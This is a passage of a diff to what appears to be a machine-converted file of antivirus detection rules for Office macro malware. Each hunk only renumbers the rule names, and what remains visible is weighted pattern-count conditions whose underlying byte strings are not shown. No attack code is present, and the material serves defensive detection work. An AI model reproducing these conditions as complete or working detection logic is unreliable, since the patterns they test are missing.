1)*29472+(#a_5b_2 & 1)*8311+(#a_5d_3 & 1)*8307+(#a_5b_4 & 1)*8311+(#a_5d_5 & 1)*8307) >=6 } -rule _InfrastructureShared_24527{ +rule _InfrastructureShared_25820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -320465,7 +337057,7 @@ rule _InfrastructureShared_24527{ ((#a_53_0 & 1)*19747+(#a_5b_1 & 1)*21351+(#a_53_2 & 1)*27498+(#a_20_3 & 1)*23328+(#a_77_4 & 1)*23328) >=5 } -rule _InfrastructureShared_24528{ +rule _InfrastructureShared_25821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -320481,7 +337073,7 @@ rule _InfrastructureShared_24528{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*12033+(#a_02_2 & 1)*12289+(#a_00_3 & 1)*144+(#a_2f_4 & 1)*14851+(#a_06_5 & 1)*-28625+(#a_90_6 & 1)*258) >=1 } -rule _InfrastructureShared_24529{ +rule _InfrastructureShared_25822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -320495,7 +337087,7 @@ rule _InfrastructureShared_24529{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*29472+(#a_5b_2 & 1)*8311+(#a_5d_3 & 1)*8307+(#a_5b_4 & 1)*8311) >=5 } -rule _InfrastructureShared_24530{ +rule _InfrastructureShared_25823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -320510,7 +337102,7 @@ rule _InfrastructureShared_24530{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*8742+(#a_6d_2 & 1)*8742+(#a_2f_3 & 1)*8742+(#a_22_4 & 1)*8820+(#a_22_5 & 1)*11886) >=1 } -rule _InfrastructureShared_24531{ +rule _InfrastructureShared_25824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0a 00 21 " @@ -320529,7 +337121,7 @@ rule _InfrastructureShared_24531{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*15619+(#a_20_2 & 1)*656+(#a_02_3 & 1)*26416+(#a_90_4 & 1)*11040+(#a_90_5 & 1)*8240+(#a_90_6 & 1)*-28640+(#a_02_7 & 1)*26976+(#a_90_8 & 1)*24578+(#a_76_9 & 1)*29795) >=1 } -rule _InfrastructureShared_24532{ +rule _InfrastructureShared_25825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 09 00 21 " @@ -320547,7 +337139,7 @@ rule _InfrastructureShared_24532{ ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*29806+(#a_63_2 & 1)*257+(#a_20_3 & 1)*28257+(#a_20_4 & 1)*30821+(#a_20_5 & 1)*13363+(#a_33_6 & 1)*29288+(#a_00_7 & 1)*144+(#a_2e_8 & 1)*29443) >=2 } -rule _InfrastructureShared_24533{ +rule _InfrastructureShared_25826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 06 00 21 " @@ -320562,7 +337154,7 @@ rule _InfrastructureShared_24533{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8230+(#a_26_2 & 1)*10548+(#a_28_3 & 1)*656+(#a_31_4 & 1)*1794+(#a_29_5 & 1)*14376) >=5 } -rule _InfrastructureShared_24534{ +rule _InfrastructureShared_25827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -320578,7 +337170,7 @@ rule _InfrastructureShared_24534{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25709+(#a_57_2 & 1)*656+(#a_65_3 & 1)*21294+(#a_90_4 & 1)*8744+(#a_02_5 & 1)*12042+(#a_02_6 & 1)*14889) >=1 } -rule _InfrastructureShared_24535{ +rule _InfrastructureShared_25828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -320594,7 +337186,7 @@ rule _InfrastructureShared_24535{ ((#a_6c_0 & 1)*16675+(#a_41_1 & 1)*10350+(#a_72_2 & 1)*17268+(#a_6c_3 & 1)*29800+(#a_69_4 & 1)*21364+(#a_68_5 & 1)*26994+(#a_68_6 & 1)*26994) >=10 } -rule _InfrastructureShared_24536{ +rule _InfrastructureShared_25829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -320608,7 +337200,7 @@ rule _InfrastructureShared_24536{ ((#a_53_0 & 1)*19747+(#a_05_1 & 1)*10362+(#a_39_2 & 1)*12291+(#a_02_3 & 1)*-28640+(#a_2d_4 & 1)*773) >=1 } -rule _InfrastructureShared_24537{ +rule _InfrastructureShared_25830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 0a 00 21 " @@ -320627,7 +337219,7 @@ rule _InfrastructureShared_24537{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*8253+(#a_69_2 & 1)*31051+(#a_63_3 & 1)*26729+(#a_41_4 & 1)*21297+(#a_02_5 & 1)*25390+(#a_02_6 & 1)*29793+(#a_29_7 & 1)*10310+(#a_73_8 & 1)*3369+(#a_64_9 & 1)*19744) >=7 } -rule _InfrastructureShared_24538{ +rule _InfrastructureShared_25831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -320642,7 +337234,7 @@ rule _InfrastructureShared_24538{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*8308+(#a_65_2 & 1)*26956+(#a_74_3 & 1)*26890+(#a_65_4 & 1)*27745+(#a_4f_5 & 1)*-28672) >=6 } -rule _InfrastructureShared_24539{ +rule _InfrastructureShared_25832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -320660,7 +337252,7 @@ rule _InfrastructureShared_24539{ ((#a_53_0 & 1)*19747+(#a_30_1 & 1)*14640+(#a_31_2 & 1)*14640+(#a_30_3 & 1)*14384+(#a_36_4 & 1)*12344+(#a_72_5 & 1)*21298+(#a_61_6 & 1)*28773+(#a_22_7 & 1)*29300+(#a_30_8 & 1)*13617) >=9 } -rule _InfrastructureShared_24540{ +rule _InfrastructureShared_25833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 13 00 21 " @@ -320688,7 +337280,7 @@ rule _InfrastructureShared_24540{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*8230+(#a_24_2 & 1)*29793+(#a_20_3 & 1)*27753+(#a_90_4 & 1)*25972+(#a_02_5 & 1)*10341+(#a_25_6 & 1)*-28640+(#a_2c_7 & 1)*656+(#a_65_8 & 1)*16997+(#a_00_9 & 1)*23671+(#a_6b_10 & 1)*11776+(#a_70_11 & 1)*31301+(#a_70_12 & 1)*26739+(#a_2e_13 & 1)*29295+(#a_72_14 & 1)*33+(#a_57_15 & 1)*29537+(#a_69_16 & 1)*28525+(#a_3a_17 & 1)*17748+(#a_02_18 & 1)*30469) >=1 } -rule _InfrastructureShared_24541{ +rule _InfrastructureShared_25834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 15 00 21 " @@ -320718,7 +337310,7 @@ rule _InfrastructureShared_24541{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*11883+(#a_7a_2 & 1)*8744+(#a_6e_3 & 1)*25970+(#a_3a_4 & 1)*29812+(#a_68_5 & 1)*11886+(#a_6d_6 & 1)*26708+(#a_02_7 & 1)*-28928+(#a_22_8 & 1)*656+(#a_20_9 & 1)*-28557+(#a_02_10 & 1)*25168+(#a_90_11 & 1)*8253+(#a_90_12 & 1)*400+(#a_01_13 & 1)*-28571+(#a_90_14 & 1)*1282+(#a_75_15 & 1)*11873+(#a_00_16 & 1)*25976+(#a_69_17 & 1)*25344+(#a_22_18 & 1)*8736+(#a_02_19 & 1)*1+(#a_02_20 & 1)*1) >=1 } -rule _InfrastructureShared_24542{ +rule _InfrastructureShared_25835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -320735,7 +337327,7 @@ rule _InfrastructureShared_24542{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*28703+(#a_90_2 & 1)*3842+(#a_90_3 & 1)*1282+(#a_05_4 & 1)*-28553+(#a_90_5 & 1)*1282+(#a_90_6 & 1)*400+(#a_01_7 & 1)*-28575) >=1 } -rule _InfrastructureShared_24543{ +rule _InfrastructureShared_25836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 16 00 21 " @@ -320765,7 +337357,7 @@ rule _InfrastructureShared_24543{ ((#a_53_0 & 1)*19747+(#a_39_1 & 1)*8224+(#a_38_2 & 1)*14902+(#a_6f_3 & 1)*25462+(#a_00_4 & 1)*8805+(#a_22_5 & 1)*9728+(#a_20_6 & 1)*25449+(#a_63_7 & 1)*27234+(#a_6e_8 & 1)*8236+(#a_37_9 & 1)*14128+(#a_72_10 & 1)*21249+(#a_72_11 & 1)*28271+(#a_73_12 & 1)*25974+(#a_00_13 & 1)*144+(#a_6f_14 & 1)*11779+(#a_2e_15 & 1)*8448+(#a_54_16 & 1)*28530+(#a_78_17 & 1)*21616+(#a_20_18 & 1)*29538+(#a_52_19 & 1)*15648+(#a_22_20 & 1)*11298) >=1 } -rule _InfrastructureShared_24544{ +rule _InfrastructureShared_25837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 10 00 21 " @@ -320788,7 +337380,7 @@ rule _InfrastructureShared_24544{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*144+(#a_6f_2 & 1)*11779+(#a_70_3 & 1)*21612+(#a_78_4 & 1)*21616+(#a_54_5 & 1)*28530+(#a_78_6 & 1)*21616+(#a_20_7 & 1)*8308+(#a_43_8 & 1)*9760+(#a_3d_9 & 1)*27758+(#a_2c_10 & 1)*22098+(#a_4d_12 & 1)*8448+(#a_90_13 & 1)*8196+(#a_63_15 & 1)*30022) >=1 } -rule _InfrastructureShared_24545{ +rule _InfrastructureShared_25838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0d 00 21 " @@ -320809,7 +337401,7 @@ rule _InfrastructureShared_24545{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*11824+(#a_6f_2 & 1)*23086+(#a_00_3 & 1)*144+(#a_6f_4 & 1)*19459+(#a_90_5 & 1)*10272+(#a_02_6 & 1)*8736+(#a_20_7 & 1)*-28632+(#a_29_8 & 1)*656+(#a_20_9 & 1)*823+(#a_02_11 & 1)*8301+(#a_29_12 & 1)*14637) >=1 } -rule _InfrastructureShared_24546{ +rule _InfrastructureShared_25839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 0e 00 21 " @@ -320832,7 +337424,7 @@ rule _InfrastructureShared_24546{ ((#a_53_0 & 1)*19747+(#a_2d_1 & 1)*774+(#a_43_2 & 1)*14637+(#a_5d_3 & 1)*11568+(#a_43_4 & 1)*14637+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*0) >=2 } -rule _InfrastructureShared_24547{ +rule _InfrastructureShared_25840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 0e 00 21 " @@ -320855,7 +337447,7 @@ rule _InfrastructureShared_24547{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28784+(#a_20_2 & 1)*28486+(#a_20_3 & 1)*25927+(#a_50_4 & 1)*17752+(#a_73_5 & 1)*28265+(#a_2c_6 & 1)*8236+(#a_45_7 & 1)*18464+(#a_53_8 & 1)*19747+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1) >=3 } -rule _InfrastructureShared_24548{ +rule _InfrastructureShared_25841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0e 00 21 " @@ -320878,7 +337470,7 @@ rule _InfrastructureShared_24548{ ((#a_53_0 & 1)*19747+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_20_13 & 1)*0) >=1 } -rule _InfrastructureShared_24549{ +rule _InfrastructureShared_25842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -320892,7 +337484,7 @@ rule _InfrastructureShared_24549{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*25697+(#a_61_2 & 1)*25207+(#a_79_3 & 1)*30055+(#a_62_4 & 1)*25441) >=5 } -rule _InfrastructureShared_24550{ +rule _InfrastructureShared_25843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 12 00 21 " @@ -320918,7 +337510,7 @@ rule _InfrastructureShared_24550{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*26708+(#a_05_2 & 1)*8253+(#a_00_3 & 1)*28261+(#a_03_4 & 1)*1424+(#a_39_5 & 1)*12291+(#a_49_7 & 1)*9728+(#a_30_8 & 1)*2309+(#a_09_9 & 1)*-28640+(#a_05_10 & 1)*8235+(#a_05_11 & 1)*14368+(#a_69_12 & 1)*24940+(#a_2e_13 & 1)*25390+(#a_48_14 & 1)*12129+(#a_6c_15 & 1)*12079+(#a_63_16 & 1)*8742+(#a_2f_17 & 1)*28450) >=1 } -rule _InfrastructureShared_24551{ +rule _InfrastructureShared_25844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0c 00 21 " @@ -320939,7 +337531,7 @@ rule _InfrastructureShared_24551{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*16961+(#a_66_2 & 1)*12090+(#a_2f_3 & 1)*29998+(#a_6f_4 & 1)*24942+(#a_65_5 & 1)*30063+(#a_79_6 & 1)*8742+(#a_22_7 & 1)*28962+(#a_22_8 & 1)*8821+(#a_6a_9 & 1)*28962+(#a_26_10 & 1)*25389+(#a_69_11 & 1)*23074) >=1 } -rule _InfrastructureShared_24552{ +rule _InfrastructureShared_25845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0c 00 0c 00 5a 00 21 " @@ -321038,7 +337630,7 @@ rule _InfrastructureShared_24552{ ((#a_53_0 & 1)*19747+(#a_34_1 & 1)*8253+(#a_00_2 & 1)*2573+(#a_32_3 & 1)*15617+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_f1_80 & 1)*0+(#a_69_81 & 1)*18976+(#a_69_82 & 1)*28755+(#a_74_83 & 1)*16747+(#a_90_84 & 1)*29285+(#a_61_85 & 1)*29250+(#a_00_86 & 1)*10537+(#a_29_87 & 1)*25972+(#a_7b_88 & 1)*8736+(#a_4d_89 & 1)*14671) >=12 } -rule _InfrastructureShared_24553{ +rule _InfrastructureShared_25846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 19 00 21 " @@ -321072,7 +337664,7 @@ rule _InfrastructureShared_24553{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*656+(#a_40_2 & 1)*-28640+(#a_20_3 & 1)*656+(#a_40_4 & 1)*-28632+(#a_2c_5 & 1)*16386+(#a_00_6 & 1)*144+(#a_4a_7 & 1)*15619+(#a_69_8 & 1)*18976+(#a_2c_9 & 1)*656+(#a_28_10 & 1)*26991+(#a_10_11 & 1)*-28631+(#a_02_12 & 1)*8306+(#a_02_13 & 1)*8236+(#a_6c_14 & 1)*21280+(#a_2b_15 & 1)*7936+(#a_02_16 & 1)*10350+(#a_31_17 & 1)*12589+(#a_46_18 & 1)*296+(#a_2c_19 & 1)*13111+(#a_31_20 & 1)*23363+(#a_5d_21 & 1)*13361+(#a_31_22 & 1)*23378+(#a_5d_23 & 1)*14641+(#a_35_24 & 1)*14125) >=1 } -rule _InfrastructureShared_24554{ +rule _InfrastructureShared_25847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 18 00 21 " @@ -321104,7 +337696,7 @@ rule _InfrastructureShared_24554{ ((#a_53_0 & 1)*19747+(#a_55_1 & 1)*21071+(#a_00_2 & 1)*9001+(#a_4f_3 & 1)*15617+(#a_5b_4 & 1)*23861+(#a_2d_5 & 1)*17245+(#a_52_6 & 1)*23859+(#a_36_7 & 1)*12635+(#a_52_9 & 1)*17981+(#a_3d_10 & 1)*10240+(#a_4c_11 & 1)*19794+(#a_28_12 & 1)*19541+(#a_01_13 & 1)*10589+(#a_5d_14 & 1)*13101+(#a_41_15 & 1)*21837+(#a_05_16 & 1)*23378+(#a_43_17 & 1)*25449+(#a_04_18 & 1)*8226+(#a_2b_19 & 1)*513+(#a_05_20 & 1)*14637+(#a_26_21 & 1)*260+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1) >=2 } -rule _InfrastructureShared_24555{ +rule _InfrastructureShared_25848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 12 00 21 " @@ -321131,7 +337723,7 @@ rule _InfrastructureShared_24555{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8235+(#a_90_2 & 1)*11568+(#a_39_3 & 1)*12291+(#a_90_4 & 1)*11568+(#a_39_5 & 1)*12291+(#a_90_6 & 1)*11568+(#a_39_7 & 1)*12291+(#a_90_8 & 1)*11568+(#a_39_9 & 1)*12291+(#a_90_10 & 1)*11568+(#a_39_11 & 1)*12291+(#a_90_12 & 1)*11568+(#a_39_13 & 1)*12291+(#a_90_14 & 1)*11568+(#a_39_15 & 1)*12291+(#a_90_16 & 1)*11568+(#a_39_17 & 1)*12291) >=1 } -rule _InfrastructureShared_24556{ +rule _InfrastructureShared_25849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 2f 00 21 " @@ -321186,7 +337778,7 @@ rule _InfrastructureShared_24556{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*28257+(#a_6d_3 & 1)*28229+(#a_75_4 & 1)*17664+(#a_73_5 & 1)*28516+(#a_57_6 & 1)*17779+(#a_73_7 & 1)*21357+(#a_61_8 & 1)*25965+(#a_65_9 & 1)*28233+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_98_12 & 1)*0+(#a_6d_13 & 1)*29286+(#a_69_14 & 1)*29300+(#a_73_15 & 1)*26980+(#a_65_16 & 1)*24936+(#a_74_17 & 1)*26473+(#a_64_18 & 1)*29801+(#a_01_19 & 1)*28521+(#a_3a_20 & 1)*31337+(#a_7a_21 & 1)*29541+(#a_63_22 & 1)*28791+(#a_61_23 & 1)*26988+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_df_29 & 1)*0+(#a_01_30 & 1)*8992+(#a_29_31 & 1)*12832+(#a_90_32 & 1)*26946+(#a_90_33 & 1)*3448+(#a_74_34 & 1)*25934+(#a_65_35 & 1)*8224+(#a_20_36 & 1)*8224+(#a_68_37 & 1)*8253+(#a_28_38 & 1)*26691+(#a_10_39 & 1)*-28640+(#a_42_40 & 1)*26223+(#a_20_41 & 1)*8242+(#a_20_42 & 1)*9330+(#a_41_43 & 1)*27234+(#a_28_44 & 1)*25445+(#a_3a_45 & 1)*8707+(#a_15_46 & 1)*-28569) >=1 } -rule _InfrastructureShared_24557{ +rule _InfrastructureShared_25850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -321204,7 +337796,7 @@ rule _InfrastructureShared_24557{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*29806+(#a_70_2 & 1)*29485+(#a_6e_3 & 1)*29801+(#a_72_4 & 1)*28271+(#a_74_5 & 1)*25966+(#a_69_6 & 1)*25700+(#a_68_7 & 1)*15674+(#a_61_8 & 1)*29795) >=9 } -rule _InfrastructureShared_24558{ +rule _InfrastructureShared_25851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -321219,7 +337811,7 @@ rule _InfrastructureShared_24558{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26980+(#a_65_2 & 1)*25459+(#a_64_3 & 1)*26999+(#a_74_4 & 1)*30313+(#a_69_5 & 1)*26217) >=6 } -rule _InfrastructureShared_24559{ +rule _InfrastructureShared_25852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 10 00 21 " @@ -321244,7 +337836,7 @@ rule _InfrastructureShared_24559{ ((#a_4c_0 & 1)*21539+(#a_0a_1 & 1)*25972+(#a_0d_2 & 1)*12800+(#a_70_3 & 1)*8224+(#a_20_4 & 1)*28486+(#a_20_5 & 1)*8224+(#a_58_6 & 1)*10616+(#a_20_7 & 1)*8202+(#a_20_8 & 1)*8224+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1) >=7 } -rule _InfrastructureShared_24560{ +rule _InfrastructureShared_25853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 18 00 21 " @@ -321277,7 +337869,7 @@ rule _InfrastructureShared_24560{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*1538+(#a_6d_2 & 1)*656+(#a_90_3 & 1)*5378+(#a_02_4 & 1)*12821+(#a_02_5 & 1)*26389+(#a_90_6 & 1)*4098+(#a_6d_7 & 1)*656+(#a_32_8 & 1)*656+(#a_02_9 & 1)*28208+(#a_20_10 & 1)*28261+(#a_28_11 & 1)*26988+(#a_6d_12 & 1)*11040+(#a_02_13 & 1)*8235+(#a_20_14 & 1)*822+(#a_22_15 & 1)*656+(#a_00_16 & 1)*65+(#a_20_17 & 1)*8707+(#a_90_18 & 1)*11314+(#a_22_19 & 1)*4608+(#a_05_20 & 1)*8236+(#a_20_21 & 1)*8707+(#a_90_22 & 1)*11315+(#a_22_23 & 1)*4608) >=1 } -rule _InfrastructureShared_24561{ +rule _InfrastructureShared_25854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0c 00 0c 00 3c 00 21 " @@ -321341,7 +337933,7 @@ rule _InfrastructureShared_24561{ ((#a_53_0 & 1)*19747+(#a_31_1 & 1)*8236+(#a_00_2 & 1)*3369+(#a_30_3 & 1)*1029+(#a_00_4 & 1)*144+(#a_20_5 & 1)*8707+(#a_90_6 & 1)*11315+(#a_22_7 & 1)*4608+(#a_05_8 & 1)*8236+(#a_20_9 & 1)*8707+(#a_90_10 & 1)*11316+(#a_22_11 & 1)*4608+(#a_05_12 & 1)*8236+(#a_20_13 & 1)*8707+(#a_90_14 & 1)*11317+(#a_22_15 & 1)*4608+(#a_05_16 & 1)*8236+(#a_20_17 & 1)*8707+(#a_90_18 & 1)*11318+(#a_22_19 & 1)*4608+(#a_05_20 & 1)*8236+(#a_20_21 & 1)*8707+(#a_90_22 & 1)*11319+(#a_22_23 & 1)*4608+(#a_05_24 & 1)*8236+(#a_01_25 & 1)*-28640+(#a_1c_26 & 1)*8235+(#a_90_27 & 1)*11040+(#a_01_29 & 1)*-28640+(#a_1c_30 & 1)*8235+(#a_90_31 & 1)*11040+(#a_2b_33 & 1)*23+(#a_17_34 & 1)*-28672+(#a_00_35 & 1)*7568+(#a_1c_36 & 1)*8235+(#a_90_37 & 1)*11040+(#a_2b_39 & 1)*23+(#a_17_40 & 1)*-28672+(#a_00_41 & 1)*7568+(#a_1c_42 & 1)*8235+(#a_90_43 & 1)*11040+(#a_00_45 & 1)*23+(#a_90_46 & 1)*11040+(#a_2b_48 & 1)*23+(#a_01_49 & 1)*-28640+(#a_1c_50 & 1)*8235+(#a_20_51 & 1)*545+(#a_0a_52 & 1)*14637+(#a_39_53 & 1)*12291+(#a_05_54 & 1)*14637+(#a_05_55 & 1)*31277+(#a_2d_56 & 1)*783+(#a_7a_57 & 1)*24835+(#a_02_58 & 1)*1+(#a_02_59 & 1)*1) >=12 } -rule _InfrastructureShared_24562{ +rule _InfrastructureShared_25855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0a 00 21 " @@ -321358,7 +337950,7 @@ rule _InfrastructureShared_24562{ ((#a_53_0 & 1)*19747+(#a_1c_1 & 1)*8235+(#a_90_2 & 1)*11040+(#a_2b_4 & 1)*23+(#a_01_5 & 1)*-28640+(#a_1d_6 & 1)*1+(#a_2b_8 & 1)*23+(#a_01_9 & 1)*-28640) >=1 } -rule _InfrastructureShared_24563{ +rule _InfrastructureShared_25856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 27 00 21 " @@ -321406,7 +337998,7 @@ rule _InfrastructureShared_24563{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*15618+(#a_22_2 & 1)*15618+(#a_22_3 & 1)*15618+(#a_22_4 & 1)*15618+(#a_22_5 & 1)*15618+(#a_22_6 & 1)*15618+(#a_22_7 & 1)*15618+(#a_22_8 & 1)*15618+(#a_31_9 & 1)*15618+(#a_32_10 & 1)*8253+(#a_7a_11 & 1)*24835+(#a_02_12 & 1)*1+(#a_02_13 & 1)*1+(#a_02_14 & 1)*1+(#a_02_15 & 1)*1+(#a_02_16 & 1)*1+(#a_02_17 & 1)*1+(#a_02_18 & 1)*1+(#a_02_19 & 1)*1+(#a_02_20 & 1)*1+(#a_02_21 & 1)*1+(#a_02_22 & 1)*1+(#a_02_23 & 1)*1+(#a_02_24 & 1)*1+(#a_02_25 & 1)*1+(#a_02_26 & 1)*1+(#a_02_27 & 1)*1+(#a_02_28 & 1)*1+(#a_02_29 & 1)*1+(#a_02_30 & 1)*1+(#a_02_31 & 1)*1+(#a_02_32 & 1)*1+(#a_02_33 & 1)*1+(#a_02_34 & 1)*1+(#a_02_35 & 1)*1+(#a_02_36 & 1)*1+(#a_02_37 & 1)*1+(#a_f4_38 & 1)*0) >=1 } -rule _InfrastructureShared_24564{ +rule _InfrastructureShared_25857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 1e 00 21 " @@ -321444,7 +338036,7 @@ rule _InfrastructureShared_24564{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*12290+(#a_00_2 & 1)*11386+(#a_20_3 & 1)*12290+(#a_61_4 & 1)*11585+(#a_43_5 & 